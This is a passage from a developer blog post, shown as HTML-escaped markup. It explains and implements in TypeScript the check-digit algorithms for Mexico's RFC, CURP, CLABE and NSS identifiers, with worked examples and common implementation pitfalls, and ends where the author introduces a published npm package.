  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;remainder &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;A&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;11&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; remainder&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Trap 1: the generic RFCs.&lt;/strong&gt; The SAT assigns two RFCs by decree, and a correct algorithm gets both wrong:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;XAXX010101000&lt;/code&gt;, “the general public”, is on every retail invoice without a named customer. It &lt;strong&gt;fails&lt;/strong&gt; its own checksum: the algorithm asks for &lt;code&gt;4&lt;/code&gt; and the SAT put &lt;code&gt;0&lt;/code&gt;. A strict validator rejects the most common RFC on Mexican invoices.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;XEXX010101000&lt;/code&gt;, for foreign residents, &lt;strong&gt;passes&lt;/strong&gt; by coincidence: the sum is 1342 and the remainder is 0. Without special handling it would be classified as an individual born on January 1, 2001.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The fix is an explicit allowlist, checked before the algorithm runs:&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;GENERIC_RFCS&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Record&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token constant&quot;&gt;XAXX010101000&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;Generic RFC for the general public&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token constant&quot;&gt;XEXX010101000&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;Generic RFC for foreign residents&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One more thing the checksum can’t see is the date. &lt;code&gt;310231&lt;/code&gt; passes the shape regex, but February 31 isn’t a day, so build a real date and compare it back. The RFC also doesn’t encode the century, so a two-digit year needs a cutoff window.&lt;/p&gt;
&lt;h2 id=&quot;curp-weighted-modulus-10-over-37-characters&quot;&gt;CURP: weighted modulus 10 over 37 characters&lt;/h2&gt;
&lt;p&gt;The CURP is always 18 characters. &lt;code&gt;BOXW310820HNERXN09&lt;/code&gt; breaks down like this:&lt;/p&gt;













































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Part&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;th&gt;Meaning&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Name letters&lt;/td&gt;&lt;td&gt;&lt;code&gt;BOXW&lt;/code&gt;&lt;/td&gt;&lt;td&gt;the second letter is always a vowel (or &lt;code&gt;X&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Date&lt;/td&gt;&lt;td&gt;&lt;code&gt;310820&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1931-08-20&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sex&lt;/td&gt;&lt;td&gt;&lt;code&gt;H&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;H&lt;/code&gt;, &lt;code&gt;M&lt;/code&gt; or &lt;code&gt;X&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;State&lt;/td&gt;&lt;td&gt;&lt;code&gt;NE&lt;/code&gt;&lt;/td&gt;&lt;td&gt;born abroad (&lt;em&gt;nacido en el extranjero&lt;/em&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Internal consonants&lt;/td&gt;&lt;td&gt;&lt;code&gt;RXN&lt;/code&gt;&lt;/td&gt;&lt;td&gt;from the surnames and given name&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Century marker&lt;/td&gt;&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;a digit means born before 2000, a letter means 2000 or later&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Check digit&lt;/td&gt;&lt;td&gt;&lt;code&gt;9&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;The century marker is a nice design choice: unlike the RFC, the CURP resolves the two-digit year without guessing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The computation.&lt;/strong&gt; Same idea as the RFC, with a 37-character alphabet (&lt;code&gt;&amp;amp;&lt;/code&gt; keeps its slot at 24 even though the CURP never uses it), weights running from 18 down to 2 over the first 17 characters, and modulus 10:&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;ALPHABET&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;0123456789ABCDEFGHIJKLMN&amp;amp;OPQRSTUVWXYZ&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;curpCheckDigit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;base&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; sum &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; value &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;ALPHABET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;base&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;value &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;?&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    sum &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; value &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;18&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sum &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the vector, the sum is 2551, so &lt;code&gt;(10 − 1) % 10 = 9&lt;/code&gt;. It matches. The outer &lt;code&gt;% 10&lt;/code&gt; matters: when the sum already ends in 0, the digit is &lt;code&gt;0&lt;/code&gt;, not &lt;code&gt;10&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A CURP also has to pass checks that have nothing to do with the check digit: a valid state code from the 33 in the catalogue (32 states plus &lt;code&gt;NE&lt;/code&gt;), a real date, and the RENAPO rule that replaces rude four-letter combinations (the second letter becomes &lt;code&gt;X&lt;/code&gt;), which is why a validator needs that word list too.&lt;/p&gt;
&lt;h2 id=&quot;clabe-3-7-1-weights-last-digit-of-each-product&quot;&gt;CLABE: 3-7-1 weights, last digit of each product&lt;/h2&gt;
&lt;p&gt;The CLABE is 18 digits: a 3-digit bank code, a 3-digit branch area (&lt;em&gt;plaza&lt;/em&gt;), an 11-digit account number and 1 control digit. The algorithm comes from Banxico:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Multiply each of the first 17 digits by the cyclic weights &lt;code&gt;3, 7, 1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Keep only the last digit of each product&lt;/strong&gt; (the product modulo 10).&lt;/li&gt;
&lt;li&gt;Add them up, and the control digit is &lt;code&gt;(10 − sum % 10) % 10&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For the example base &lt;code&gt;01218000118359719&lt;/code&gt; (bank &lt;code&gt;012&lt;/code&gt;), the kept digits are &lt;code&gt;0,7,2,3,6,0,0,0,1,3,6,3,5,3,7,3,3&lt;/code&gt;. They add up to 52, so the control digit is &lt;code&gt;(10 − 2) % 10 = 8&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;WEIGHTS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;clabeCheckDigit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;base&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; sum &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; digit &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;base&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Number&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isNaN&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;digit&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;?&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    sum &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;digit &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;WEIGHTS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sum &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Trap 2: the Luhn reflex.&lt;/strong&gt; Anyone who has implemented a card check digit adds the &lt;em&gt;digits&lt;/em&gt; of each product: &lt;code&gt;9 × 7 = 63&lt;/code&gt; becomes &lt;code&gt;6 + 3 = 9&lt;/code&gt;. The CLABE keeps the &lt;em&gt;last&lt;/em&gt; digit: 63 counts as &lt;code&gt;3&lt;/code&gt;. The two approaches agree on many inputs, which is why the bug survives testing. They split as soon as a product reaches two digits. For the base &lt;code&gt;09000000000000000&lt;/code&gt;, the correct algorithm gives &lt;code&gt;7&lt;/code&gt; and the Luhn-style version gives &lt;code&gt;1&lt;/code&gt;. Put that vector in your tests.&lt;/p&gt;
&lt;p&gt;(Whether you reduce each product modulo 10 or only reduce the final sum makes no difference: they are mathematically the same. The bug is the digit sum, not the order.)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The bank code.&lt;/strong&gt; The first three digits identify the institution, and it’s worth checking them against Banxico’s own list, not a copy of a copy. The popular lists online still carry mistakes. Bineo, for example, is &lt;code&gt;165&lt;/code&gt; in Banxico’s institution list (key 40165), and the &lt;code&gt;812&lt;/code&gt; that circulates for it doesn’t appear there at all. An unknown bank code shouldn’t invalidate a CLABE that passes its checksum, because new institutions keep arriving. Show “unknown bank” instead.&lt;/p&gt;
&lt;h2 id=&quot;nss-luhn-over-ten-digits&quot;&gt;NSS: Luhn over ten digits&lt;/h2&gt;
&lt;p&gt;The IMSS social security number is 11 digits: a 2-digit sub-delegation, the 2-digit year of registration, the 2-digit birth year, a 4-digit serial number and a Luhn check digit over the first ten. This one really is Luhn: double every second digit starting from the second, and subtract 9 from any result above 9.&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;nssCheckDigit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;base&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; sum &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; digit &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;base&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Number&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isNaN&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;digit&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;?&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; product &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; digit &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; digit&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    sum &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; product &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; product &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; product&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sum &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the made-up base &lt;code&gt;1234567890&lt;/code&gt;, the digit is &lt;code&gt;3&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;the-whole-thing-as-a-package&quot;&gt;The whole thing, as a package&lt;/h2&gt;
&lt;p&gt;The functions above are the module behind this site’s &lt;a href=&quot;https://ortamarco.me/en/tools/mexican-id-validator/&quot;&gt;Mexican ID validator&lt;/a&gt;, and they’re also published as &lt;a href=&quot;https://www.npmjs.com/package/mx-identifiers&quot;&gt;&lt;code&gt;mx-identifiers&lt;/code&gt;&lt;/a&gt; on npm: MIT, zero dependencies, ESM and CJS, and the same code in Node and the browser. Validators never throw. They return the parts, the expected check digit, a decoded birth date and an &lt;code&gt;errors&lt;/code&gt; array you can map to your own messages:&lt;/p&gt;
